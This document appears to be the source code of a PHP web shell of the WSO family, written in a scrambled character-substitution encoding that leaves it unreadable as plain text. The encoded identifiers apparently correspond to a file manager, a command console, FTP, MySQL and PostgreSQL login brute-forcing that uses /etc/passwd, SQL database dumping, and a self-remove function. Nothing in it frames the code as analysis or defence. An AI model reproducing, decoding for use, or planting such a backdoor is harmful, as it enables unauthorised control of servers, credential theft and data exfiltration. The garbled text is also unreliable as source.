<;XWT\AEHnr~~zxtjPRElqR^D_Enr~~zxtjWlnr~~zxtjPRElKXAMMnr~~zxtjPRElEPC<;TRY^WX]T_P\TX_ADEEHATETIE_P\TAGP]DTFB^nUPETh\UnyXBnr~~zxtjPRElKXAKXAEPCVK_SBA

<;TRY^X_ADEEHATBDS\XEGP]DTEUECW^C\EPS]TUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_bECX_Ve^^]BJ<;XWWD_REX^_nTIXBEBYTISX_JWD_REX^_YTISX_AJCTEDC_UTRSX_YTIUTRA
LL<;XWWD_REX^_nTIXBEBSX_YTIJWD_REX^_SX_YTIAJCTEDC_UTRYTISX_UTRA
LL<;XWWD_REX^_nTIXBEBYTIPBRXXJWD_REX^_YTIPBRXXAJC
W^CX
XBEC}T_A
XJCRYCYTIUTRAjXlAjX l
LCTEDC_C
LL<;XWWD_REX^_nTIXBEBPBRXXYTIJWD_REX^_PBRXXYTIAJC
W^CX
XBEC]T_A
XCBACX_EWi^CUAjXl
CTEDC_BECE^DAATCC
LL<;XWWD_REX^_nTIXBEBWD]]nDC]T_R^UTJWD_REX^_WD]]nDC]T_R^UTAJC
W^CX
XBEC]T_A
XCUTRYTI^CUAjXl
CTEDC_BECE^DAATCC
LL<;BECX_Ve^^]BPCCPH<;sPBTT_R^UTSPBTnT_R^UT<;sPBTUTR^UTSPBTnUTR^UT<;dC]T_R^UTDC]T_R^UT<;dC]UTR^UTDC]UTR^UT<;wD]]DC]T_R^UTWD]]nDC]T_R^UT<;\UYPBY\U<;BYP YPBYBYP <;RCHAERCHAE<;rcrRCR<;pbrxxE^ytiPBRXXYTI<;ytiE^pbrxxYTIPBRXX<;ytiE^utrYTIUTR<;ytiE^sxYTISX_<;utrE^ytiUTRYTI<;utrE^sxUTRSX_<;sxE^ytiSX_YTI<;sxE^utrSX_UTR<;bECX_VE^]^FTCRPBTBECE^]^FTC<;bECX_VE^DAATCRPBTBECE^DAATC<;yE\]BATRXP]RYPCBYE\]BATRXP]RYPCB<;bECX_V]T_VEYBEC]T_<;
<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;XWX_nPCCPHna~bejA lBECX_Ve^^]B<;TRY^na~bejA lna~bejAl
<;ET\AU^RD\T_EVTEt]T\T_EsHxUBEC~DEADEBEH]TUXBA]PH
U^RD\T_EVTEt]T\T_EsHxUBEC~DEADEX__TCye|}PUURB]PBYTBYE\]BATRXP]RYPCB^SnVTEnR]TP_m_mCmEmmm
m_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;FB^yTPUTC
<;TRY^Y bECX_VR^_GTCBX^_BY UXGR]PBBR^_ET_E
<;TRY^W^C\_P\TE^^]Bw^C\^_bDS\XEXWEYXBP[PIRYTRZTUJP_D]]_D]]EYXBBT]TREe^^]GP]DTEYXBX_ADEGP]DT
LT]BTJV_D]]_D]]EYXBBT]TREe^^]GP]DTEYXBX_ADEGP]DT
LCTEDC_WP]BT
BT]TRE_P\TBT]TREe^^]
<;W^CTPRYBECX_Ve^^]BPBZG<;TRY^^AEX^_GP]DTYE\]BATRXP]RYPCBGZ^AEX^_
<;TRY^BT]TREX_ADEEHATBDS\XEGP]DTX_ADEEHATRYTRZS^I_P\TP[PIGP]DT qnr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piSCETIEPCTP_P\TX_ADEBEH]T\PCVX_E^AAIR]PBBSXVPCTPT\AEHna~bejA lYE\]BATRXP]RYPCBqna~bejAlETIEPCTPW^C\ACTR]PBB\] BEH]TT\AEHna~bejA lUXBA]PH_^_T
\PCVX_E^AAIXUBEC~DEADE
<;XWT\AEHna~bejA lJ<;XWX_nPCCPHna~bejA lBECX_Ve^^]BTRY^YE\]BATRXP]RYPCBna~bejA lna~bejAl
<;L<;TRY^ACTUXGSCY bTPCRYWX]TBY UXGR]PBBR^_ET_E<;88W^C\^_BDS\XEmV_D]]EYXBRFUGP]DT_D]]EYXBETIEGP]DTEYXBWX]T_P\TGP]DT
CTEDC_WP]BT
mEPS]TRT]]APUUX_V RT]]BAPRX_VFXUEY<;888ECEUFXUEY eTIEEUEUX_ADEEHATETIE_P\TETIEBEH]TFXUEY EUEC<;888ECEUaPEYEUEUX_ADEEHATETIE_P\TRFUGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlBEH]TFXUEY EUEC<;888ECEUP\TEUEUX_ADEEHATETIE_P\TWX]T_P\TGP]DTBEH]TFXUEY EUEC<;888ECEUEUEUX_ADEEHATBDS\XEGP]DTEUEC<;888EPS]TW^C\
<;<;WD_REX^_FB^cTRDCBXGTv]^SAPEYJ<;XWBDSBECAPEY <;APEY
<;APEYBqPCCPHnD_X@DTqPCCPHn\TCVTqV]^SAPEYna~bejAlqV]^SAPEYv}~sn~}huxc
<;XWXBnPCCPHAPEYBqR^D_EAPEYBJ<;W^CTPRYAPEYBPBXET\J<;XWqXBnUXCXET\J<;XWAPEYXET\<;FB^cTRDCBXGTv]^SXET\
<;LT]BTJ<;XWT\AEHna~bejAlMMqBECA^BWX]TnVTEnR^_ET_EBXET\na~bejAlWP]BT<;TRY^PYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTXET\mmGXTFmmmYE\]BATRXP]RYPCBXET\PSC
<;L<;L<;L<;L<;XWqna~bejAl<;FB^cTRDCBXGTv]^Sna~bejRl
<;TRY^UXGSCY bTPCRYW^CYPBYY UXGR]PBBR^_ET_E<;88W^C\\TEY^UA^BEEPCVTEnS]P_Z_P\TYW<;888X_ADEEHATETIE_P\TYPBYBEH]TFXUEYAI
SC<;X_ADEEHATYXUUT__P\TPREGP]DTWX_U<;888X_ADEEHATSDEE^_GP]DTYPBYRCPRZX_VCD^_R]XRZmU^RD\T_EYWPREX^_YEEABYPBYRCPRZX_VCDX_UTIAYA
U^RD\T_EYWBDS\XEmSC<;888X_ADEEHATSDEE^_GP]DT\UCTU_^XKTR^\^_R]XRZmU^RD\T_EYWPREX^_YEEA\UCTU_^XKTR^\@U^RD\T_EYWYPBYGP]DTB\U
U^RD\T_EYWBDS\XEmSC<;X_ADEEHATSDEE^_GP]DTRCPRZW^C\T^_R]XRZmU^RD\T_EYWPREX^_YEEARCPRZW^C\TX_UTIAYA
U^RD\T_EYWBDS\XEmSC<;88W^C\UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_wX]TBe^^]BJ<;XWXBBTEna~bejA l<;na~bejA lDC]UTR^UTna~bejA l
<;XWqna~bejAlU^F_]^PUJ<;XWqXBnWX]Tna~bejA lqXBnCTPUPS]Tna~bejA lJ<;^SnBEPCE^SnVKYP_U]TC
<;YTPUTCr^_ET_EuXBA^BXEX^_PEEPRY\T_E
WX]T_P\TSPBT_P\Tna~bejA l
<;XWWD_REX^_nTIXBEB\X\TnR^_ET_EnEHATJ<;EHATq\X\TnR^_ET_EnEHATna~bejA l
<;YTPUTCr^_ET_EeHATEHAT
<;LT]BT<;YTPUTCr^_ET_EeHATPAA]XRPEX^_^RETEBECTP\
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^qWCTPUWA 
<;WR]^BTWA
<;L<;LTIXE
<;L<;XWqna~bejAl\ZWX]TJ<;XWWX]TnTIXBEBna~bejA lJ<;WAqW^AT_na~bejA lF
<;XWWAJ<;na~bejAlTUXE
<;WR]^BTWA
<;L<;L<;L<;FB^yTPUTC
<;TRY^Y wX]TE^^]BY UXGR]PBBR^_ET_E
<;XWWX]TnTIXBEBqna~bejA lJ<;TRY^wX]T_^ETIXBEB
<;FB^w^^ETC
<;CTEDC_
<;L<;DXUqA^BXInVTEAFDXUqWX]T^F_TCna~bejA l
<;XWDXUJ<;DXUj_P\TlqWX]T^F_TCna~bejA l
<;VXUj_P\TlqWX]TVC^DAna~bejA l
<;LT]BTVXUqA^BXInVTEVCVXUqWX]TVC^DAna~bejA l
<;TRY^BAP_P\TBAP_YE\]BATRXP]RYPCBqSPBT_P\Tna~bejA lBAP_bXKTBAP_XBnWX]Tna~bejA lFB^gXTFbXKTWX]TBXKTna~bejA lBAP_aTC\XBBX^_BAP_FB^aTC\Br^]^Cna~bejA lBAP_~F_TCvC^DABAP_DXUj_P\TlVXUj_P\TlSC
<;TRY^BAP_rYP_VTEX\TBAP_UPETh\UyXBWX]TREX\Tna~bejA lBAP_pRRTBBEX\TBAP_UPETh\UyXBWX]TPEX\Tna~bejA lBAP_|^UXWHEX\TBAP_UPETh\UyXBWX]T\EX\Tna~bejA lSCSC
<;XWT\AEHna~bejAl<;na~bejAlGXTF
<;XWXBnWX]Tna~bejA l<;\PCCPHgXTFyXVY]XVYEu^F_]^PUyTIUD\AtUXErY\^UcT_P\Te^DRY
<;T]BT<;\PCCPHrY\^UcT_P\Te^DRY
<;W^CTPRY\PBG<;TRY^PYCTW^_R]XRZV_D]]_D]]mDC]T_R^UTna~bejA lmmBECE^]^FTCGmBECE^]^FTCGqna~bejAlSjGlSGP
<;TRY^SCSC
<;BFXERYna~bejAlJ<;RPBTGXTF<;TRY^ACTR]PBB\] 
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^YE\]BATRXP]RYPCBqWCTPUWA 
<;qWR]^BTWA
<;L<;TRY^ACT
<;SCTPZ
<;RPBTYXVY]XVYE<;XWqXBnCTPUPS]Tna~bejA lJ<;TRY^UXGR]PBB\] BEH]TSPRZVC^D_UR^]^CT T T 
R^]^CS]PRZ

<;R^UTqYXVY]XVYEnWX]Tna~bejA lECDT
<;TRY^BECnCTA]PRTPCCPHBAP_BAP_PCCPHW^_EW^_ER^UTUXG
<;L<;SCTPZ
<;RPBTRY\^U<;XWT\AEHna~bejAlJ<;ATC\B
<;W^CXBEC]T_na~bejAl 
X
X<;ATC\BX_Ena~bejAljXlA^F	BEC]T_na~bejAlX 
<;XWqRY\^Una~bejA lATC\B<;TRY^rP_mEBTEATC\XBBX^_BSCBRCXAEU^RD\T_E\WAGP]DT
BRCXAE
<;L<;R]TPCBEPERPRYT
<;TRY^BRCXAEAn
BRCXAEW^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXBRY\^UGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\TRY\^UGP]DTBDSBECBACX_EW^WX]TATC\Bna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTTUXE<;XWXBnFCXEPS]Tna~bejA lJ<;TRY^wX]TXB_mEFCXETPS]T
<;SCTPZ
<;L<;XWT\AEHna~bejAlJ<;EX\TqWX]T\EX\Tna~bejA l
<;na~bejAlBDSBECna~bejAl 
<;WAqW^AT_na~bejA lF
<;XWWAJ<;qWFCXETWAna~bejAl
<;qWR]^BTWA
<;TRY^bPGTUSCBRCXAEAn
BRCXAE
<;qE^DRYna~bejA lEX\TEX\T
<;L<;L<;TRY^W^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]m mEYXBETIEGP]DT
CTEDC_WP]BT
ETIEPCTP_P\TETIER]PBBSXVPCTP
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^YE\]BATRXP]RYPCBqWCTPUWA 
<;qWR]^BTWA
<;L<;TRY^ETIEPCTPX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTYTIUD\A<;RqWX]TnVTEnR^_ET_EBna~bejA l
<;_
<;YPCCPHSC
<;]T_BEC]T_R
<;W^CX
X]T_
XJ<;Yj lBACX_EWi^CURjXl
<;BFXERY^CURjXlJ<;RPBTYjl
SCTPZ
<;RPBTYjl
SCTPZ
<;RPBT Yjl
SCTPZ
<;RPBT Yjl
SCTPZ
<;UTWPD]EYjlRjXl
SCTPZ
<;L<;_
<;XW_J<;_
<;XWX ]T_JYjlBACX_EW	iX SC
L<;Yj lSC
<;Yjlm_
<;L<;L<;TRY^EPS]TRT]]BAPRX_V RT]]APUUX_VSVR^]^CECEUSVR^]^CBAP_BEH]TW^_EFTXVYE_^C\P]
ACTYjlACTBAP_EUEUSVR^]^C			ACTYj lACTEUEUSVR^]^CACTYE\]BATRXP]RYPCBYjlACTEUECEPS]T
<;SCTPZ
<;RPBTCT_P\T<;XWT\AEHna~bejAlJ<;XWqCT_P\Tna~bejA lna~bejAl<;TRY^rP_mECT_P\TSC
<;T]BT<;UXTBRCXAEV_D]]_D]]DC]T_R^UTna~bejAl_D]]BRCXAE
<;L<;TRY^W^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXB_P\TGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\T_P\TGP]DTYE\]BATRXP]RYPCBna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTE^DRY<;XWT\AEHna~bejAlJ<;EX\TBECE^EX\Tna~bejAl
<;XWEX\TJ<;XWE^DRYna~bejA lEX\TEX\T<;TRY^wPX]
<;T]BT<;TRY^e^DRYTU
<;LT]BTTRY^sPUEX\TW^C\PE
<;L<;R]TPCBEPERPRYT
<;TRY^BRCXAEAn
BRCXAEW^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXBE^DRYGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\TE^DRYGP]DTUPETh\UyXBqWX]T\EX\Tna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_r^_B^]TJ<;XWT\AEHna~bejA lT\AEHna~bejAlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belBEUTCCnE^n^DEECDT
<;na~bejA l 
<;LT]BTXWT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belBEUTCCnE^n^DE
<;<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;TRY^URWR\UGP]DT
m_
<;ET\AqXR^_Gna~bejRYPCBTEldew	PUURB]PBYTBm_na~bejA lm_FB^tIna~bejA lm_mCmEmmm
<;XWACTVn\PERYRUmBjo
lna~bejA l\PERY8J<;XWqRYUXC\PERYj lJ<;v}~sp}bjRFUlqVTERFU
<;TRY^Rnv}~sp}bjRFUl

<;L<;L<;TRY^URW^DEADEGP]DTET\A

<;TRY^URW^DEADEBRC^]]e^AURW^DEADEBRC^]]yTXVYE

<;ET\A^SnVTEnR]TP_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;FB^yTPUTC
<;TRY^BRCXAE<;XWFX_U^FtGT_EFX_U^FRPAEDCTtGT_EBtGT_Ezthu~f
<;GPCR\UB_TFpCCPH
<;GPCRDC
<;WD_REX^_ZATJ<;8GPC_FX_U^FtGT_ETFYXRYTZTHr^UT
<;8XW_	J<;88RDC
<;88XWRDC<;888U^RD\T_ERWR\UGP]DTR\UBjRDCl
<;88T]BT<;888RDC
<;8LT]BTXW_J<;88RDC
<;88XWRDCR\UB]T_VEY<;888U^RD\T_ERWR\UGP]DTR\UBjRDCl
<;88T]BT<;888RDC
<;8L<;L<;WD_REX^_PUUR\UJ<;8R\UBA^A
<;8R\UBADBYR\U
<;8R\UBADBY
<;8RDCR\UB]T_VEY 
<;L<;BRCXAE
<;TRY^Y r^_B^]TY UXGR]PBBR^_ET_EW^C\_P\TRW^_BDS\XEXWURWR\UGP]DTmR]TPCmJURW^DEADEGP]DTmm
URWR\UGP]DTmm
CTEDC_WP]BT
LPUUEYXBR\UGP]DT
XWEYXBP[PIRYTRZTUJP_D]]_D]]EYXBR\UGP]DTEYXBBY^FnTCC^CBRYTRZTU mm
LT]BTJV_D]]_D]]EYXBR\UGP]DTEYXBBY^FnTCC^CBRYTRZTU mm
LCTEDC_WP]BT
BT]TRE_P\TP]XPB
<;W^CTPRYv}~sp}bjP]XPBTBlPB_GJ<;XWGJ<;TRY^^AEVC^DA]PST]YE\]BATRXP]RYPCB_^AEVC^DA
<;R^_EX_DT
<;L<;TRY^^AEX^_GP]DTYE\]BATRXP]RYPCBG_^AEX^_
<;L<;<;TRY^BT]TREX_ADEEHATSDEE^_^_R]XRZPUUURWP]XPBGP]DT
XWURWP[PIRYTRZTUJP_D]]_D]]URWP]XPBGP]DTURWBY^FnTCC^CBRYTRZTU mm
LT]BTJV_D]]_D]]URWP]XPBGP]DTURWBY^FnTCC^CBRYTRZTU mm
LGP]DT_^SCX_ADEEHATRYTRZS^I_P\TP[PIGP]DT qnr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piX_ADEEHATRYTRZS^I_P\TBY^FnTCC^CBGP]DT T\AEHna~bejAlMMnr~~zxtj\Unbtcgtcjyeeany~belBEUTCCnE^n^DElRYTRZTUCTUXCTREBEUTCCE^BEU^DE _^SCSCETIEPCTPR]PBBSXVPCTP_P\T^DEADEBEH]TS^CUTCS^EE^\
\PCVX_
CTPU^_]H
<;XWT\AEHna~bejA lJ<;TRY^YE\]BATRXP]RYPCBna~bejA lm_FB^tIna~bejA l
<;L<;TRY^ETIEPCTPEPS]TBEH]TS^CUTC AIB^]XUUW
SPRZVC^D_UR^]^C
S^CUTCE^AAI
RT]]APUUX_VRT]]BAPRX_VFXUEY ECEUFXUEY EUEUX_ADEEHATETIE_P\TR\UBEH]TS^CUTCAI
FXUEY 
^_ZTHU^F_ZATGT_E
EUECEPS]T
<;TRY^W^C\UXGBRCXAEURWR\UW^RDB
BRCXAE
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_}^V^DEJ<;BTER^^ZXT\Unbtcgtcjyeeany~belEX\T
<;UXTSHT
<;L<;<;WD_REX^_PREX^_bT]WcT\^GTJ<;<;XWna~bejA lHTB<;XWqD_]X_ZACTVnCTA]PRTmmUmmBnnwx}tnn<;UXTbYT]]YPBSTT_CT\^GTU
<;T]BT<;TRY^D_]X_ZTCC^C
<;XWna~bejA lHTB<;FB^yTPUTC
<;TRY^Y bDXRXUTY UXGR]PBBR^_ET_EcTP]]HFP_EE^CT\^GTEYTBYT]]SCPYCTW^_R]XRZV_D]]_D]]mHTBmhTBPUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_sCDETW^CRTJ<;FB^yTPUTC
<;XWXBBTEna~bejAC^E^lJ<;TRY^Y cTBD]EBY UXGR]PBBR^_ET_EBAP_eHATBAP_YE\]BATRXP]RYPCBna~bejAC^E^lBAP_bTCGTCBAP_YE\]BATRXP]RYPCBna~bejBTCGTClSC
<;XWna~bejAC^E^lWEAJ<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;WAqWEAnR^__TREXAA^CEA^CE 
<;XWWACTEDC_WP]BT
<;CTBqWEAn]^VX_WA]^VX_APBB
<;qWEAnR]^BTWA
<;CTEDC_CTB
<;L<;LT]BTXWna~bejAC^E^l\HB@]J<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;CTBq\HB@]nR^__TREXAA^CEA^CE]^VX_APBB
<;q\HB@]nR]^BTCTB
<;CTEDC_CTB
<;L<;LT]BTXWna~bejAC^E^lAVB@]J<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;BECY^BEXAA^CEA^CEDBTC]^VX_APBBF^CUAPBBUS_P\TA^BEVCTB
<;CTBqAVnR^__TREBEC
<;qAVnR]^BTCTB
<;CTEDC_CTB
<;L<;L<;BDRRTBB
<;PEET\AEB
<;BTCGTCTIA]^UTna~bejBTCGTCl
<;XWna~bejEHATl J<;ET\AqWX]TTERAPBBFU
<;XWXBnPCCPHET\A<;W^CTPRYET\APB]X_TJ<;]X_TTIA]^UT]X_T
<;PEET\AEB
<;XWFB^sCDETw^CRTqBTCGTCjlqBTCGTCj l]X_Tjl]X_TjlJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCB]X_TjlSYE\]BATRXP]RYPCB]X_TjlSC
<;L<;XWqna~bejCTGTCBTlJ<;E\A
<;W^CXBEC]T_]X_Tjl 
X
X<;E\A]X_TjljXl
<;PEET\AEB
<;XWFB^sCDETw^CRTqBTCGTCjlqBTCGTCj l]X_TjlE\AJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCB]X_TjlSYE\]BATRXP]RYPCBE\A
<;L<;L<;L<;LT]BTXWna~bejEHATlJ<;ET\AqWX]Tna~bejUXREl
<;XWXBnPCCPHET\A<;W^CTPRYET\APB]X_TJ<;]X_TECX\]X_T
<;PEET\AEB
<;XWFB^sCDETw^CRTBTCGTCjlqBTCGTCj lna~bej]^VX_l]X_TJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCBna~bej]^VX_lSYE\]BATRXP]RYPCB]X_TSC
<;L<;L<;L<;TRY^BAP_pEET\AEBBAP_PEET\AEBBAP_bDRRTBBBAP_BDRRTBBUXGSC
<;L<;TRY^Y sCDETW^CRTY UXGR]PBBR^_ET_EEPS]TW^C\\TEY^UA^BEECEUBAP_eHATBAP_EU<;EUBT]TRE_P\TAC^E^^AEX^_GP]DTWEAwea^AEX^_^AEX^_GP]DT\HB@]|Hb@]^AEX^_^AEX^_GP]DTAVB@]a^BEVCTb@]^AEX^_BT]TREEUECECEU<;X_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUl<;X_ADEEHATYXUUT__P\TPGP]DTYE\]BATRXP]RYPCBna~bejPl<;X_ADEEHATYXUUT__P\TRYPCBTEGP]DTYE\]BATRXP]RYPCBna~bejRYPCBTEl<;BAP_bTCGTCA^CEBAP_EU<;EUX_ADEEHATETIE_P\TBTCGTCGP]DT  EUEC<;ECEUBAP_sCDETEHATBAP_EU<;EU]PST]X_ADEEHATCPUX^_P\TEHATGP]DT RYTRZTUTERAPBBFU]PST]EUEC<;ECEUEUEU]PST]BEH]TAPUUX_V]TWE AIX_ADEEHATRYTRZS^I_P\TCTGTCBTGP]DT RYTRZTUCTGTCBT]^VX__XV^]]PST]EUEC<;ECEUEUEU]PST]X_ADEEHATCPUX^_P\TEHATGP]DTuXREX^_PCH]PST]EUEC<;ECEUEUEUEPS]TBEH]TAPUUX_V]TWE AIECEUBAP_}^VX_BAP_EU<;EUX_ADEEHATETIE_P\T]^VX_GP]DTC^^EEUEC<;ECEUBAP_uXREX^_PCHBAP_EU<;EUX_ADEEHATETIE_P\TUXREGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlAPBBFUUXREUECEPS]T<;EUECECEUEUEUX_ADEEHATBDS\XEGP]DTEUECW^C\EPS]T
<;TRY^UXGSC
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_b@]J<;R]PBBuSr]PBBJ<;GPCEHAT
<;GPC]X_Z
<;GPCCTB
<;WD_REX^_uSr]PBBEHAT8J<;EYXBEHATEHAT
<;L<;WD_REX^_R^__TREY^BEDBTCAPBBUS_P\TJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWEYXB]X_Zq\HB@]nR^__TREY^BEDBTCAPBBECDTCTEDC_ECDT
<;SCTPZ
<;RPBTAVB@]<;Y^BETIA]^UTY^BE
<;XWY^BEj lY^BEj l
<;XWEYXB]X_ZqAVnR^__TREY^BEJY^BEjlLA^CEJY^BEj lLDBTCDBTCAPBBF^CUAPBBUS_P\TUS_P\TCTEDC_ECDT
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_BT]TREUSUSJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWq\HB@]nBT]TREnUSUSCTEDC_ECDT
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_@DTCHBECJ<;BFXERYEYXBEHATJ<;RPBT\HB@]<;CTEDC_EYXBCTBq\HB@]n@DTCHBEC
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBqAVn@DTCHEYXB]X_ZBEC
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_WTERYJ<;CTBWD_Rn_D\nPCVBWD_RnVTEnPCVEYXBCTB
<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_q\HB@]nWTERYnPBB^RCTB
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVnWTERYnPBB^RCTB
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]XBEuSBJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXB@DTCHby~fUPEPSPBTB
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBEYXB@DTCHbt}treUPE_P\Twc~|AVnUPEPSPBTfytctUPEXBET\A]PETE
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]XBEePS]TBJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXBCTBEYXB@DTCHby~feps}tb
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBEYXB@DTCHBT]TREEPS]Tn_P\TWC^\X_W^C\PEX^_nBRYT\PEPS]TBFYTCTEPS]TnBRYT\PX_W^C\PEX^_nBRYT\PpuEPS]TnBRYT\PAVnRPEP]^V
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_TCC^CJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_q\HB@]nTCC^C
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVn]PBEnTCC^C
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_BTErYPCBTEBECJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWWD_REX^_nTIXBEB\HB@]nBTEnRYPCBTE<;CTEDC_q\HB@]nBTEnRYPCBTEBECEYXB]X_Z
<;T]BT<;EYXB@DTCHbterypcbteBEC
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVnBTEnR]XT_EnT_R^UX_VEYXB]X_ZBEC
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]^PUwX]TBECJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXBWTERYEYXB@DTCHbt}tre}~punwx}tPUUB]PBYTBBECPBWX]T
<;SCTPZ
<;RPBTAVB@]<;EYXB@DTCHrctpeteps}tFB^WX]TETIE
r~ahFB^wc~|PUUB]PBYTBBEC
BT]TREWX]TWC^\FB^

<;CPCCPH
<;FYX]TXEYXBWTERY<;CjlXjWX]Tl
<;EYXB@DTCHUC^AEPS]TFB^
<;CTEDC_PCCPHWX]TX\A]^UTm_C
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_UD\AEPS]TWAWP]BTJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTBEYXB@DTCHby~frctpeteps}tQEPS]TQ
<;RCTPET\HB@]nWTERYnPCCPHCTB
<;B@]RCTPETj l
m_
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;EYXB@DTCHbt}trewc~|QEPS]TQ
<;X
<;YTPUECDT
<;FYX]TXET\EYXBWTERYJ<;B@]
<;XWX J<;YTPUECDT
<;B@]
m_m_
<;L<;<;R^]D\_BPCCPH
<;W^CTPRYXET\PBZGJ<;XWG_D]]<;XET\jZld}}
<;T]BTXWXBnX_EG<;XET\jZlG
<;T]BT<;XET\jZlq\HB@]nCTP]nTBRPATnBECX_VG
<;R^]D\_BjlQZQ
<;L<;XWYTPUJ<;B@]xbtcexe~QEPS]TQX\A]^UTR^]D\_Bgp}dtbm_mEX\A]^UTXET\
<;YTPUWP]BT
<;LT]BT<;B@]m_mEX\A]^UTXET\
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;X
<;L<;XWYTPU<;XWWAWFCXETWA
m_m_
T]BTTRY^
m_m_
<;SCTPZ
<;RPBTAVB@]<;EYXB@DTCHbt}trewc~|EPS]T
<;FYX]TXET\EYXBWTERYJ<;R^]D\_BPCCPH
<;W^CTPRYXET\PBZGJ<;XET\jZlPUUB]PBYTBG
<;R^]D\_BjlZ
<;L<;B@]xbtcexe~EPS]TX\A]^UTR^]D\_Bgp}dtbX\A]^UTXET\
m_
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;L<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;L
<;US_TFuSr]PBBna~bejEHATl
<;XWqna~bejAlU^F_]^PUqna~bejA lBT]TREJ<;USR^__TREna~bejB@]nY^BElna~bejB@]n]^VX_lna~bejB@]nAPBBlna~bejB@]nSPBTl
<;USBT]TREUSna~bejB@]nSPBTl
<;BFXERYna~bejRYPCBTElJ<;RPBTfX_U^FB  USBTErYPCBTERA  
SCTPZ
<;RPBTdew	USBTErYPCBTEDEW	
SCTPZ
<;RPBTz~x	cUSBTErYPCBTEZ^X	C
SCTPZ
<;RPBTz~x	dUSBTErYPCBTEZ^X	D
SCTPZ
<;RPBTRA	USBTErYPCBTERA	
SCTPZ
<;L<;XWT\AEHna~bejWX]TlJ<;^SnBEPCE^SnVKYP_U]TC
<;YTPUTCr^_ET_EuXBA^BXEX^_PEEPRY\T_E
WX]T_P\TUD\AB@]
<;YTPUTCr^_ET_EeHATETIEA]PX_
<;W^CTPRYna~bejES]lPBG<;USUD\AG
<;TIXE
<;LT]BTXWWAqW^AT_na~bejWX]TlFJ<;W^CTPRYna~bejES]lPBG<;USUD\AGWA
<;WR]^BTWA
<;D_BTEna~bejAl
